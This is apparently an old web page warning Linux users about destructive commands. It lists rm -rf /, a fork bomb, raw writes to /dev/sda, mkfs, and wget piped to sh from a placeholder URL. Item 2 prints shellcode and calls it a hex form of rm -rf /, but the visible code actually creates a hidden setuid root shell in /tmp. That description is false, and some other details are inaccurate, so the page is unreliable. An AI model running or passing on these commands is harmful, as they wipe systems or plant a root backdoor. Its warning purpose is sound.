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Linux Bombs
Linux is a solid and reliable operating system, but it is not without weaknesses. One of the biggest threats to a Linux system is an unsuspecting user--you can do massive amounts of damage to your own system if you are not careful!
The following is a list of commands that, when executed, can destroy large amounts of your data and wreck your system. Be careful not to let anyone trick you into using any of these dangerous commands!
(This list assumes you are logged in as root. It should go without saying that you should not be logged in as root unless absolutely necessary.)
1. rm -rf /
This command will proceed to delete all the files on your system without warning.
2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
This is the hex version of #1 above.
3. mv /home/[your_username]/* /dev/null
This simple command will move all the files in your home directory the null directory, meaning they will be unretrievably lost.
4. :(){:|:&};:
This command is known as forkbomb. It works by causing your system to generate processes in exponential fashion which will ultimately shut down your machine. This can also cause your data to be corrupted.
5. [command] > /dev/sda
This pipe, used with virtually any command, will write data to the target device causing loss of data and corrupted system files.
6. mkfs.ext3 /dev/sda
This command will obliterate all the files on the target device.
7. wget http://[malicious_URL] -O- | sh
This command fetches data from the internet and executes potentially malicious code on your machine.
This page last modified on 9 December 2008 08:09:51 PM (active 600 days)
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